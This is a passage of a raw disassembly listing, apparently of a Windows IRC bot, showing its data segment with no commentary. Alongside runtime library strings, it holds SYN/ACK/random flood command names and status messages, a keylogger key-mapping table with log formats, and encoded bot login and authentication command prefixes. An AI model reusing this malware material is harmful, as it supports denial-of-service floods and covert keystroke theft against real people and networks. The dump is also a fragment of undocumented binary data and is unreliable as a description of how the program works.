0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh dbl_424698 dq 9.765625e-4 ; DATA XREF: sub_40CAF1+2BDr ; sub_40CAF1+2D8r ... dbl_4246A0 dq -3.0517578125e-5 ; DATA XREF: sub_415450+1Er dbl_4246A8 dq 1.0 ; DATA XREF: sub_417CA4+6Cr ; sub_417DEB+6Cr ... dd 0FFFFFFFFh, 419CBBh, 419CCFh byte_4246BC db 6 ; DATA XREF: sub_419E38:loc_419E8Fr db 2 dup(0), 6 dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h dd 0 dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h dd 8000008h, 7000800h, 8 aNull: ; DATA XREF: ___:off_43959Co unicode 0, <(null)>,0 align 4 aNull_0 db '(null)',0 ; DATA XREF: ___:off_439598o align 10h a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041AC2Ao align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041ABEBo align 10h a_yn db '_yn',0 a_y1 db '_y1',0 a_y0 db '_y0',0 aFrexp db 'frexp',0 align 4 aFmod db 'fmod',0 align 4 a_hypot db '_hypot',0 align 4 a_cabs db '_cabs',0 align 4 aLdexp db 'ldexp',0 align 4 aModf db 'modf',0 align 4 aFabs db 'fabs',0 align 4 aFloor db 'floor',0 align 4 aCeil db 'ceil',0 align 4 aTan db 'tan',0 aCos db 'cos',0 aSin db 'sin',0 aSqrt db 'sqrt',0 align 4 aAtan2 db 'atan2',0 align 10h aAtan db 'atan',0 align 4 aAcos db 'acos',0 align 10h aAsin db 'asin',0 align 4 aTanh db 'tanh',0 align 10h aCosh db 'cosh',0 align 4 aSinh db 'sinh',0 align 10h aLog10 db 'log10',0 align 4 aLog db 'log',0 aPow db 'pow',0 aExp db 'exp',0 ; DATA XREF: ___:off_43B7ECo align 8 dbl_424818 dq 0.0 ; DATA XREF: sub_41C2F3+8Cr ; sub_41C2F3+ACr ... dbl_424820 dq 4.195835e6 ; DATA XREF: sub_41C808+Fr dbl_424828 dq 3.145727e6 ; DATA XREF: sub_41C808+6r aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_41C846+Fo align 4 aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_41C846o align 4 aE000 db 'e+000',0 ; DATA XREF: sub_41C96D+93o align 10h dword_424860 dd 0FFFFFFFFh, 41D058h, 41D062h, 0 ; DATA XREF: sub_41CFF1+5o dword_424870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D120+5o dd offset loc_41D1DE align 10h dd offset sub_41D1BC dd offset sub_41D1C6 dword_424888 dd 0FFFFFFFFh, 41D40Eh, 41D412h, 0 ; DATA XREF: sub_41D256+5o dword_424898 dd 0FFFFFFFFh, 41D470h, 41D479h, 0 ; DATA XREF: sub_41D41A+5o dword_4248A8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D4FC+5o dd offset loc_41D54D align 8 dd offset loc_41D539 dd offset loc_41D53D dword_4248C0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D552+5o dd offset loc_41D5A3 align 10h dd offset loc_41D58F dd offset loc_41D593 dword_4248D8 dd 2 dup(0) ; DATA XREF: sub_41E709+36o ; sub_41FB63+39o ... dword_4248E0 dd 0FFFFFFFFh, 41E819h, 41E81Dh, 0FFFFFFFFh, 41E8CDh, 41E8D1h ; DATA XREF: sub_41E709+5o dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0 dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h dd 65682065h, 0A0D7061h, 0 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 10h aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 10h aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 4 aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 10h aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 10h aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 10h aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43BC2Co db '- floating point not loaded',0Dh,0Ah,0 align 10h aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_41F885+119o align 4 asc_424BA8 db 0Ah ; DATA XREF: sub_41F885+F1o db 0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_41F885+D3o db 0Ah db 'Program: ',0 align 4 a___ db '...',0 ; DATA XREF: sub_41F885+BFo aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_41F885+7Do align 8 dword_424BE8 dd 0FFFFFFFFh, 41FC5Ch, 41FC60h ; DATA XREF: sub_41FB63+5o aSunmontuewedth db 'SunMonTueWedThuFriSat',0 align 4 aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0 align 4 aTz db 'TZ',0 ; DATA XREF: sub_42094E+Ao align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_42105F+3Do align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_42105F+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_42105F+24o a1Qnan db '1#QNAN',0 ; DATA XREF: sub_4219A9:loc_421A9Eo align 10h a1Inf db '1#INF',0 ; DATA XREF: sub_4219A9+D8o align 4 a1Ind db '1#IND',0 ; DATA XREF: sub_4219A9+C7o align 10h a1Snan db '1#SNAN',0 ; DATA XREF: sub_4219A9+ADo align 4 dword_424C88 dd 0FFFFFFFFh, 4223A1h, 4223A5h, 0FFFFFFFFh, 422410h, 422414h ; DATA XREF: sub_4221EA+5o dd 424DC4h off_424CA4 dd offset loc_4227D2 ; DATA XREF: sub_4227AA+8o ; sub_4227EE+2Co ... dd offset sub_4227C5 dd offset sub_4229E6 dd offset dword_424E10 off_424CB4 dd offset sub_42283C ; DATA XREF: sub_4227EE+3Ao ; sub_422858o ... dd offset sub_4227C5 dd offset loc_422A22 dword_424CC0 dd 0 ; DATA XREF: sub_4227EE+16o ; sub_4228C0+16o aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_422863+11o dd offset dword_424E5C off_424CE0 dd offset sub_42294B ; DATA XREF: sub_422967o ; sub_42298A+37o ... dd offset sub_4227C5 dd offset loc_422A04 aStringTooLong db 'string too long',0 ; DATA XREF: sub_42298A+11o dd offset dword_424EA0 off_424D00 dd offset loc_422AE7 ; DATA XREF: sub_422AD2o ; ___:off_43C34Co ... dd offset dword_424ED0 off_424D08 dd offset loc_422B03 ; DATA XREF: sub_422B1F+8o ; sub_422B5C+8o ... dd offset sub_422BBC aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: sub_422BBC+7o align 8 dword_424D28 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: sub_422BC9+Eo dd 3, 19930520h, 2 dup(0) dword_424D48 dd 0FFFFFFFFh, 422D7Ah, 422D7Eh, 0FFFFFFFFh, 422DF7h, 422DFBh ; DATA XREF: sub_422C78+5o dword_424D60 dd 0FFFFFFFFh, 422FEFh, 422FF3h, 0FFFFFFFFh, 42304Ch, 423050h ; DATA XREF: sub_422F03+5o dd 43C34Ch, 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) off_424D90 dd offset off_43C364 ; DATA XREF: ___:00424DA8o ; ___:00424DF4o ... dd 1, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424D90 dd offset dword_424D60+18h dword_424DB0 dd 3 dup(0) ; DATA XREF: ___:00424DD4o dd 2, 424DA8h, 3 dup(0) dd offset off_43C364 dd offset dword_424DB0+4 off_424DD8 dd offset off_43C384 ; DATA XREF: ___:00424DF0o dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset off_424DD8 dd offset off_424D90 dd offset dword_424D60+18h dword_424DFC dd 3 dup(0) ; DATA XREF: ___:00424E20o dd 3, 424DF0h dword_424E10 dd 3 dup(0) ; DATA XREF: ___:00424CB0o dd offset off_43C384 dd offset dword_424DFC+4 ; --------------------------------------------------------------------------- loc_424E24: ; DATA XREF: ___:00424E3Co movsb retn ; --------------------------------------------------------------------------- dw 43h dd 2, 0 dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E24 dd offset off_424D90 dd offset dword_424D60+18h dd 3 dup(0) dd 3, 424E3Ch dword_424E5C dd 3 dup(0) ; DATA XREF: ___:00424CDCo ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- inc ebx add [esi+ecx*2+42h], cl loc_424E6F: ; DATA XREF: ___:00424E88o add al, cl retn ; --------------------------------------------------------------------------- dw 43h dd 2 dup(0) dd 0FFFFFFFFh, 2 dup(0) dd offset loc_424E6F+1 dword_424E8C dd 3 dup(0) ; DATA XREF: ___:00424EB0o dd 1, 424E88h dword_424EA0 dd 3 dup(0) ; DATA XREF: ___:00424CFCo dd offset off_43C3C8 dd offset dword_424E8C+4 dd offset dword_424D60+18h dword_424EB8 dd 4 dup(0) ; DATA XREF: ___:00424EE0o dd 1, 424EB4h dword_424ED0 dd 3 dup(0) ; DATA XREF: ___:00424D04o dd offset off_43C34C dd offset dword_424EB8+8 align 8 dword_424EE8 dd 19930520h, 2, 424F08h, 5 dup(0) ; DATA XREF: ___:loc_4230E7o dd 0FFFFFFFFh, 4230D0h, 0 dd offset sub_4230C8 dword_424F18 dd 19930520h, 2, 424F38h, 5 dup(0) ; DATA XREF: ___:loc_423104o dd 0FFFFFFFFh, 4230F4h, 0 dd offset loc_4230FC dword_424F48 dd 19930520h, 2, 424F68h, 1, 424F78h, 3 dup(0) ; DATA XREF: ___:loc_423110o dd 0FFFFFFFFh, 0 dd 0FFFFFFFFh, 3 dup(0) dd 2 dup(1), 424F90h, 4 dup(0) dd offset loc_40477E dd 0FFFFFFFFh, 42311Ah dword_424FA8 dd 19930520h, 1, 424FA0h, 5 dup(0) ; DATA XREF: ___:loc_423122o dd offset off_43C34C align 10h dd 0FFFFFFFFh, 0 dd 0Ch, 422B5Ch, 0 dd offset off_43C364 dd 0 dd 0FFFFFFFFh, 0 dd 1Ch, 422908h, 0 dd offset off_43C384 align 8 dd 0FFFFFFFFh, 0 dword_425010 dd 1Ch, 422972h, 3, 424FFCh, 424FE0h, 424FC4h ; DATA XREF: ___:00425034o dword_425028 dd 0 ; DATA XREF: sub_422863+2Eo ; sub_4229E6+4Bo dd offset sub_422858 dd 0 dd offset dword_425010+8 dd 0FFFFFFFFh, 42312Ch dword_425040 dd 19930520h, 1, 425038h, 4 dup(0) ; DATA XREF: ___:loc_423134o dd 0FFFFFFFFh, 42313Eh dword_425064 dd 19930520h, 1, 42505Ch, 4 dup(0) ; DATA XREF: ___:loc_423146o dd 0FFFFFFFFh, 423150h dword_425088 dd 19930520h, 1, 425080h, 5 dup(0) ; DATA XREF: ___:loc_423158o ; --------------------------------------------------------------------------- movsb retn ; --------------------------------------------------------------------------- dw 43h align 10h dd 0FFFFFFFFh, 0 dword_4250B8 dd 1Ch, 4229CEh, 3, 4250A4h, 424FE0h, 424FC4h ; DATA XREF: ___:004250DCo dword_4250D0 dd 0 ; DATA XREF: sub_42298A+2Eo ; sub_4229E6+2Do dd offset sub_422967 dd 0 dd offset dword_4250B8+8 dd 0FFFFFFFFh, 423162h dword_4250E8 dd 19930520h, 1, 4250E0h, 4 dup(0) ; DATA XREF: ___:loc_42316Ao dword_425104 dd 2, 424FE0h, 424FC4h ; DATA XREF: ___:0042511Co dword_425110 dd 0 ; DATA XREF: sub_4229E6+Fo dd offset sub_4227AA dd 0 dd offset dword_425104 dd 5 dup(78AF60F1h), 5 dup(46C21B77h), 5 dup(7679112Fh) dd 7Ah dup(0) dd 7679112Fh, 0 dd 78AF60F1h, 12h dup(0) ; --------------------------------------------------------------------------- ja short near ptr byte_4253B5 retn 46h ; --------------------------------------------------------------------------- align 10h dd 5 dup(0) db 0 byte_4253B5 db 3 dup(0) ; CODE XREF: ___:00425398j dd 312h dup(0) dword_426000 dd 0 ; DATA XREF: ___:00419AD7o dd offset sub_4030CC dd offset sub_40482C dd offset sub_40484E dword_426010 dd 0 ; DATA XREF: ___:00419AD2o dword_426014 dd 0 ; DATA XREF: ___:00419AC8o dd offset sub_418682 dd offset sub_41ECF1 dd offset sub_41FA42 dd offset dword_4208B4 dword_426028 dd 0 ; DATA XREF: ___:loc_419AC3o dword_42602C dd 0 ; DATA XREF: sub_419B07+65o dd offset sub_41FAE7 dword_426034 dd 0 ; DATA XREF: sub_419B07:loc_419B67o dword_426038 dd 0 ; DATA XREF: sub_419B07+76o dd offset dword_4208B4+11h dword_426040 dd 4 dup(0) ; DATA XREF: sub_419B07:loc_419B78o unk_426050 db 2 ; DATA XREF: sub_401000+5Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithFloodI db ' Done with flood (%iKB/sec).',0 align 4 unk_426088 db 2 ; DATA XREF: sub_4010B5+302o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 2 dup(64h), 6Fh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendErrorD_ db ' Send error: <%d>.',0 align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B5:loc_4011E1o ; sub_40EE72+268Fo aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B5:loc_4011C5o ; sub_40EE72+2678o align 10h aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_4010B5+F1o ; sub_40EE72+2661o align 4 unk_4260DC db 2 ; DATA XREF: sub_40144A+397o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 unk_42613C db 2 ; DATA XREF: sub_40144A+307o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 unk_42619C db 2 ; DATA XREF: sub_40144A+12Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidTargetI db ' Invalid target IP.',0 align 4 unk_4261CC db 2 ; DATA XREF: sub_40144A+C2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 unk_426214 db 2 ; DATA XREF: sub_40144A:loc_401493o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0 align 4 aSupersynDoneWi db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_401831+4Bo align 10h dword_426280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_4019D7+4Bo dd 2BBBB02h aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0 align 4 dword_4262B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401A76+27Do dd 2BBBB02h aSendErrorD__0 db ' Send error: <%d>.',0 dword_4262E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+4EBo dd 2BBBB02h aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d' db 'MB).',0 align 4 dword_426344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+44Fo dd 2BBBB02h aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%' db 'd>.',0 align 4 aRandom db 'random',0 ; DATA XREF: sub_401D82+312o ; sub_40EE72+2C3Co ... align 4 aAck db 'ack',0 ; DATA XREF: sub_401D82+2F2o ; sub_40EE72+2C25o aSyn db 'syn',0 ; DATA XREF: sub_401D82+2D2o ; sub_40EE72+2C0Do dword_4263B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+15Fo dd 2BBBB02h aInvalidTarge_0 db ' Invalid target IP.',0 align 4 dword_4263E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+EEo dd 2BBBB02h aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0 align 4 dword_42642C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_401D82+70o dd 2BBBB02h aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0 align 10h dw 8 unicode 0, <>,0 aB: ; DATA XREF: sub_4023A7:loc_40248Ao unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_426BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4023A7+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_426BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h ; DATA XREF: sub_4022C6+AEo dd 2202967h, 2002BBBBh, 732520h aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022C6+88o align 4 aAb db 'ab',0 ; DATA XREF: sub_4022C6+4Eo ; sub_40EE72+2AE5o align 4 asc_426C1C: ; DATA XREF: sub_4022C6+2Co unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4023A7+228o align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4023A7+1E5o align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4023A7+8Fo align 4 off_426C68 dd offset off_4274E0 ; DATA XREF: sub_402688+29Er dd offset off_4274DC dd offset off_4274D8 dd offset aHttp ; "HTTP" dword_426C78 dd 6F6C2E3Ah, 6E6967h, 3 dup(0) ; DATA XREF: sub_402688+1DEo dword_426C8C dd 0 ; DATA XREF: sub_402688+297r dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 5 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 